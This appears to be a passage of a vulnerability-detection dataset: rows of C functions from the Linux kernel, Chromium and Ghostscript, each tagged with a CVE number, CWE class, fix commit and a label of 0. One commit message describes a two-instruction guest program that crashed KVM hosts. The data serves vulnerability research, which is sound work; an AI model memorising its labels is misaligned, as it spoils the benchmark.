icsk->icsk_ca_state); tp->retrans_out = 0; } } #endif return flag; }
static int tcp_clean_rtx_queue(struct sock *sk, int prior_fackets, u32 prior_snd_una) { struct tcp_sock *tp = tcp_sk(sk); const struct inet_connection_sock *icsk = inet_csk(sk); struct sk_buff *skb; u32 now = tcp_time_stamp; int fully_acked = 1; int flag = 0; u32 pkts_acked = 0; u32 reord = tp->packets_out; u32 prior_sacked = tp->sacked_out; s32 seq_rtt = -1; s32 ca_seq_rtt = -1; ktime_t last_ackt = net_invalid_timestamp(); while ((skb = tcp_write_queue_head(sk)) && skb != tcp_send_head(sk)) { struct tcp_skb_cb *scb = TCP_SKB_CB(skb); u32 acked_pcount; u8 sacked = scb->sacked; /* Determine how many packets and what bytes were acked, tso and else */ if (after(scb->end_seq, tp->snd_una)) { if (tcp_skb_pcount(skb) == 1 || !after(tp->snd_una, scb->seq)) break; acked_pcount = tcp_tso_acked(sk, skb); if (!acked_pcount) break; fully_acked = 0; } else { acked_pcount = tcp_skb_pcount(skb); } if (sacked & TCPCB_RETRANS) { if (sacked & TCPCB_SACKED_RETRANS) tp->retrans_out -= acked_pcount; flag |= FLAG_RETRANS_DATA_ACKED; ca_seq_rtt = -1; seq_rtt = -1; if ((flag & FLAG_DATA_ACKED) || (acked_pcount > 1)) flag |= FLAG_NONHEAD_RETRANS_ACKED; } else { ca_seq_rtt = now - scb->when; last_ackt = skb->tstamp; if (seq_rtt < 0) { seq_rtt = ca_seq_rtt; } if (!(sacked & TCPCB_SACKED_ACKED)) reord = min(pkts_acked, reord); } if (sacked & TCPCB_SACKED_ACKED) tp->sacked_out -= acked_pcount; if (sacked & TCPCB_LOST) tp->lost_out -= acked_pcount; tp->packets_out -= acked_pcount; pkts_acked += acked_pcount; /* Initial outgoing SYN's get put onto the write_queue * just like anything else we transmit. It is not * true data, and if we misinform our callers that * this ACK acks real data, we will erroneously exit * connection startup slow start one packet too * quickly. This is severely frowned upon behavior. */ if (!(scb->tcp_flags & TCPHDR_SYN)) { flag |= FLAG_DATA_ACKED; } else { flag |= FLAG_SYN_ACKED; tp->retrans_stamp = 0; } if (!fully_acked) break; tcp_unlink_write_queue(skb, sk); sk_wmem_free_skb(sk, skb); tp->scoreboard_skb_hint = NULL; if (skb == tp->retransmit_skb_hint) tp->retransmit_skb_hint = NULL; if (skb == tp->lost_skb_hint) tp->lost_skb_hint = NULL; } if (likely(between(tp->snd_up, prior_snd_una, tp->snd_una))) tp->snd_up = tp->snd_una; if (skb && (TCP_SKB_CB(skb)->sacked & TCPCB_SACKED_ACKED)) flag |= FLAG_SACK_RENEGING; if (flag & FLAG_ACKED) { const struct tcp_congestion_ops *ca_ops = inet_csk(sk)->icsk_ca_ops; if (unlikely(icsk->icsk_mtup.probe_size && !after(tp->mtu_probe.probe_seq_end, tp->snd_una))) { tcp_mtup_probe_success(sk); } tcp_ack_update_rtt(sk, flag, seq_rtt); tcp_rearm_rto(sk); if (tcp_is_reno(tp)) { tcp_remove_reno_sacks(sk, pkts_acked); } else { int delta; /* Non-retransmitted hole got filled? That's reordering */ if (reord < prior_fackets) tcp_update_reordering(sk, tp->fackets_out - reord, 0); delta = tcp_is_fack(tp) ? pkts_acked : prior_sacked - tp->sacked_out; tp->lost_cnt_hint -= min(tp->lost_cnt_hint, delta); } tp->fackets_out -= min(pkts_acked, tp->fackets_out); if (ca_ops->pkts_acked) { s32 rtt_us = -1; /* Is the ACK triggering packet unambiguous? */ if (!(flag & FLAG_RETRANS_DATA_ACKED)) { /* High resolution needed and available? */ if (ca_ops->flags & TCP_CONG_RTT_STAMP && !ktime_equal(last_ackt, net_invalid_timestamp())) rtt_us = ktime_us_delta(ktime_get_real(), last_ackt); else if (ca_seq_rtt >= 0) rtt_us = jiffies_to_usecs(ca_seq_rtt); } ca_ops->pkts_acked(sk, pkts_acked, rtt_us); } } #if FASTRETRANS_DEBUG > 0 WARN_ON((int)tp->sacked_out < 0); WARN_ON((int)tp->lost_out < 0); WARN_ON((int)tp->retrans_out < 0); if (!tp->packets_out && tcp_is_sack(tp)) { icsk = inet_csk(sk); if (tp->lost_out) { printk(KERN_DEBUG "Leak l=%u %d\n", tp->lost_out, icsk->icsk_ca_state); tp->lost_out = 0; } if (tp->sacked_out) { printk(KERN_DEBUG "Leak s=%u %d\n", tp->sacked_out, icsk->icsk_ca_state); tp->sacked_out = 0; } if (tp->retrans_out) { printk(KERN_DEBUG "Leak r=%u %d\n", tp->retrans_out, icsk->icsk_ca_state); tp->retrans_out = 0; } } #endif return flag; }
C
linux
0
CVE-2013-0904
https://www.cvedetails.com/cve/CVE-2013-0904/
CWE-119
https://github.com/chromium/chromium/commit/b2b21468c1f7f08b30a7c1755316f6026c50eb2a
b2b21468c1f7f08b30a7c1755316f6026c50eb2a
Separate repaint and layout requirements of StyleDifference (Step 1) Previously StyleDifference was an enum that proximately bigger values imply smaller values (e.g. StyleDifferenceLayout implies StyleDifferenceRepaint). This causes unnecessary repaints in some cases on layout change. Convert StyleDifference to a structure containing relatively independent flags. This change doesn't directly improve the result, but can make further repaint optimizations possible. Step 1 doesn't change any functionality. RenderStyle still generate the legacy StyleDifference enum when comparing styles and convert the result to the new StyleDifference. Implicit requirements are not handled during the conversion. Converted call sites to use the new StyleDifference according to the following conversion rules: - diff == StyleDifferenceEqual (&& !context) => diff.hasNoChange() - diff == StyleDifferenceRepaint => diff.needsRepaintObjectOnly() - diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer() - diff == StyleDifferenceRepaint || diff == StyleDifferenceRepaintLayer => diff.needsRepaintLayer() - diff >= StyleDifferenceRepaint => diff.needsRepaint() || diff.needsLayout() - diff >= StyleDifferenceRepaintLayer => diff.needsRepaintLayer() || diff.needsLayout() - diff > StyleDifferenceRepaintLayer => diff.needsLayout() - diff == StyleDifferencePositionedMovementLayoutOnly => diff.needsPositionedMovementLayoutOnly() - diff == StyleDifferenceLayout => diff.needsFullLayout() BUG=358460 TEST=All existing layout tests. R=eseidel@chromium.org, esprehn@chromium.org, jchaffraix@chromium.org Committed: https://src.chromium.org/viewvc/blink?view=rev&revision=171983 Review URL: https://codereview.chromium.org/236203020 git-svn-id: svn://svn.chromium.org/blink/trunk@172331 bbb929c8-8fbe-4397-9dbb-9b2b20218538
LayoutUnit RenderBlock::lineHeight(bool firstLine, LineDirectionMode direction, LinePositionMode linePositionMode) const { if (isReplaced() && linePositionMode == PositionOnContainingLine) return RenderBox::lineHeight(firstLine, direction, linePositionMode); if (firstLine && document().styleEngine()->usesFirstLineRules()) { RenderStyle* s = style(firstLine); if (s != style()) return s->computedLineHeight(); } if (m_lineHeight == -1) m_lineHeight = style()->computedLineHeight(); return m_lineHeight; }
LayoutUnit RenderBlock::lineHeight(bool firstLine, LineDirectionMode direction, LinePositionMode linePositionMode) const { if (isReplaced() && linePositionMode == PositionOnContainingLine) return RenderBox::lineHeight(firstLine, direction, linePositionMode); if (firstLine && document().styleEngine()->usesFirstLineRules()) { RenderStyle* s = style(firstLine); if (s != style()) return s->computedLineHeight(); } if (m_lineHeight == -1) m_lineHeight = style()->computedLineHeight(); return m_lineHeight; }
C
Chrome
0
CVE-2016-10218
https://www.cvedetails.com/cve/CVE-2016-10218/
CWE-476
http://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=d621292fb2c8157d9899dcd83fd04dd250e30fe4
d621292fb2c8157d9899dcd83fd04dd250e30fe4
null
pdf14_pop_parent_color(gx_device *dev, const gs_gstate *pgs) { pdf14_device *pdev = (pdf14_device *)dev; pdf14_parent_color_t *old_parent_color_info = pdev->trans_group_parent_cmap_procs; if_debug0m('v', dev->memory, "[v]pdf14_pop_parent_color\n"); /* We need to compliment pdf14_push_parent color */ if (old_parent_color_info->icc_profile != NULL) rc_decrement(old_parent_color_info->icc_profile, "pdf14_pop_parent_color"); /* Update the link */ pdev->trans_group_parent_cmap_procs = old_parent_color_info->previous; /* Free the old one */ gs_free_object(dev->memory, old_parent_color_info, "pdf14_clr_free"); }
pdf14_pop_parent_color(gx_device *dev, const gs_gstate *pgs) { pdf14_device *pdev = (pdf14_device *)dev; pdf14_parent_color_t *old_parent_color_info = pdev->trans_group_parent_cmap_procs; if_debug0m('v', dev->memory, "[v]pdf14_pop_parent_color\n"); /* We need to compliment pdf14_push_parent color */ if (old_parent_color_info->icc_profile != NULL) rc_decrement(old_parent_color_info->icc_profile, "pdf14_pop_parent_color"); /* Update the link */ pdev->trans_group_parent_cmap_procs = old_parent_color_info->previous; /* Free the old one */ gs_free_object(dev->memory, old_parent_color_info, "pdf14_clr_free"); }
C
ghostscript
0
CVE-2012-0045
https://www.cvedetails.com/cve/CVE-2012-0045/
null
https://github.com/torvalds/linux/commit/c2226fc9e87ba3da060e47333657cd6616652b84
c2226fc9e87ba3da060e47333657cd6616652b84
KVM: x86: fix missing checks in syscall emulation On hosts without this patch, 32bit guests will crash (and 64bit guests may behave in a wrong way) for example by simply executing following nasm-demo-application: [bits 32] global _start SECTION .text _start: syscall (I tested it with winxp and linux - both always crashed) Disassembly of section .text: 00000000 <_start>: 0: 0f 05 syscall The reason seems a missing "invalid opcode"-trap (int6) for the syscall opcode "0f05", which is not available on Intel CPUs within non-longmodes, as also on some AMD CPUs within legacy-mode. (depending on CPU vendor, MSR_EFER and cpuid) Because previous mentioned OSs may not engage corresponding syscall target-registers (STAR, LSTAR, CSTAR), they remain NULL and (non trapping) syscalls are leading to multiple faults and finally crashs. Depending on the architecture (AMD or Intel) pretended by guests, various checks according to vendor's documentation are implemented to overcome the current issue and behave like the CPUs physical counterparts. [mtosatti: cleanup/beautify code] Signed-off-by: Stephan Baerwolf <stephan.baerwolf@tu-ilmenau.de> Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
static int em_mul_ex(struct x86_emulate_ctxt *ctxt) { u8 ex = 0; emulate_1op_rax_rdx(ctxt, "mul", ex); return X86EMUL_CONTINUE; }
static int em_mul_ex(struct x86_emulate_ctxt *ctxt) { u8 ex = 0; emulate_1op_rax_rdx(ctxt, "mul", ex); return X86EMUL_CONTINUE; }
C
linux
0
CVE-2011-3619
https://www.cvedetails.com/cve/CVE-2011-3619/
CWE-20
https://github.com/torvalds/linux/commit/a5b2c5b2ad5853591a6cac6134cd0f599a720865
a5b2c5b2ad5853591a6cac6134cd0f599a720865
AppArmor: fix oops in apparmor_setprocattr When invalid parameters are passed to apparmor_setprocattr a NULL deref oops occurs when it tries to record an audit message. This is because it is passing NULL for the profile parameter for aa_audit. But aa_audit now requires that the profile passed is not NULL. Fix this by passing the current profile on the task that is trying to setprocattr. Signed-off-by: Kees Cook <kees@ubuntu.com> Signed-off-by: John Johansen <john.johansen@canonical.com> Cc: stable@kernel.org Signed-off-by: James Morris <jmorris@namei.org>
static int apparmor_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot, unsigned long prot) { return common_mmap(OP_FMPROT, vma->vm_file, prot, !(vma->vm_flags & VM_SHARED) ? MAP_PRIVATE : 0); }
static int apparmor_file_mprotect(struct vm_area_struct *vma, unsigned long reqprot, unsigned long prot) { return common_mmap(OP_FMPROT, vma->vm_file, prot, !(vma->vm_flags & VM_SHARED) ? MAP_PRIVATE : 0); }
C
linux
0